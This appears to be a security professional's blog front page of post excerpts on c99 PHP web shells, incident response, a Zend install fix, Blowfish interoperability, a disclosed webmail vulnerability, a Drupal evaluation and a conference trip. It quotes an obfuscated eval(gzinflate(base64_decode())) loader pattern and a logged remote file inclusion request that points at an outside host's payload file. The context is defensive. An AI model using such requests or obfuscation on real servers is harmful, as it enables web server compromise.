Justin.MadIrish.net

The c99 shell is a somewhat notorious piece of PHP malware. C99 shell is often uploaded to a compromised web application to provide an interface to an attacker. The c99 shell allows an attacker to hijack the web server process, allowing the attacker to issue commands on the server as the account under which PHP is running. The c99 shell allows an attacker to browse the filesystem, upload, view, and edit files as well as move files, delete files, and even change permissions, all as the web server. Finding the c99 shell on your system is pretty solid evidence of a compromise.

Recently during an incident response I encountered a common piece of PHP used to provide an attacker with a user friendly interface. This PHP was effectively obscured by base 64 encoding the PHP, then zipping it. Thus the PHP would be invoked using:

eval(gzinflate(base64_decode('FJ3AD44...')));

Of course the gibberish in the middle of the code statement is base 64 encoded, gzipped content. Normally one would reveal the content by changing 'eval' to 'print_r' like so:

print_r(gzinflate(base64_decode('FJ3AD44...')));

and viewing the PHP page, which would then decode, inflate and display the PHP. However, some malware is encoded and zipped multiple times, so doing this does nothing more than reveal another garbled string like:

eval(gzinflate(base64_decode('zaBqmllMECf...')));

This was an interesting one: I just ran across this alert from my IDS:

66.216.91.89 - - [30/Jul/2008:04:32:54 -0400] 
"GET /node//e404.php?DOCUMENT_ROOT=http://www.cafelecaire.com/gallery/data/mraneti.txt?? HTTP/1.1" 404 4252

It seems someone is trying to read in an arbitrary file as part of a script execution. Tracking down the file I found it contained the following code:

Recently while trying to install Zend Studio 5 on my Linux system I got the following error message:

error while loading shared libraries: libc.so.6

After searching around on the net for a while I figured out a solution. You have to alter the install script (ZendStudio-5_0_0.bin) as follows:

[root@localhost Zend]# tar -xvzf ZendStudio-5_0_0.tar.gz 
ZendStudio-5_0_0.bin
[root@localhost Zend]# cp ZendStudio-5_0_0.bin ZendStudio.bin
[root@localhost Zend]# cat ZendStudio.bin | sed "s/export LD_ASSUME_KERNEL/#xport LD_ASSUME_KERNEL/" > ZendStudio-5_0_0.bin
[root@localhost Zend]# ./ZendStudio-5_0_0.bin

This fires up the installer without error. Note that to run the program I have to do it from the correct install directory like so:

[justin@localhost ~]$ cd /usr/local/Zend/ZendStudioClient-5.0.0/bin/
[justin@localhost bin]$ ./runStudio_unix.sh 

I recently wondered if I could use a common encryption algorithm across both PHP and Perl. In this particular case I wanted to know if PHP and Perl could both utilize the Blowfish encryption algorithm to share encrypted data (with data being encrypted in one language and decrypted in another). This effort was to be part of a distributed deployment of the Cornell Spider tool. The linux version of the Cornell Spider tool creates a log file encrypted with Blowfish. The linux version sends log messages to a server program after they are encrypted. This server program decrypts the messages and writes them to a log file. I wanted to modify the server program so that it wrote the encrypted log messages into a database, then create a PHP program that would display the log messages online over HTTPS after authenticated users supplied the password to decrypt the log message.

Ah yes, you know you've arrived when http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3058. Turns out my oldest open source project, MadIrish Webmail (also at http://webmail.madirish.net), suffered from a PHP remote file inclusion vulnerability. Sort of embarrasing since I like to think of myself as a security professional. I'll chalk this one up to old code though and keep on plugging. I was able to respond to the vulnerability report in a fairly timely fasion even though for some reason SourceForge didn't actually send me an email. The official release notes for MadIrish Webmail version 2.01 is as follows:

Recently I recommended that my employer, the University of Pennsylvania School of Arts and Sciences, begin pushing Drupal as a CMS solution for departmental websites. There were a lot of factors to consider when evaluating the various CMS solutions available, especially for an institution of higher education. We took a look at a number of CMS solutions and based our evaluation on a wide breadth of criteria. Ultimately we scored each of the CMS solutions based on a common set of benchmarks. Typo3 was actually our first choice for deployment. Typo3 has a strongly tiered, but central deployment that allows you to set up test, staging and production servers but also maintain a single central deployment from which a multitude of sites can be run.

So I just got back from PHP Quebec, and although the trip home was horrendous the conference itself was a lot of fun. It is held in the amazing Sofitel Hotel along the 'Golden Mile' in Montreal, just at the base of Parc du Mont-Royal. The conference space was sparse, but attendance was probably under 200 so it worked out well. There were three lecture rooms with lectures in both English and French. There were five lectures a day, over the course of two days, and only two lecture slots where there wasn't a talk in French. I went to as many French talks as I could. Unfortunately the Quebecois accent is a little difficult to understand, and after the very first lecture I almost threw in the towel.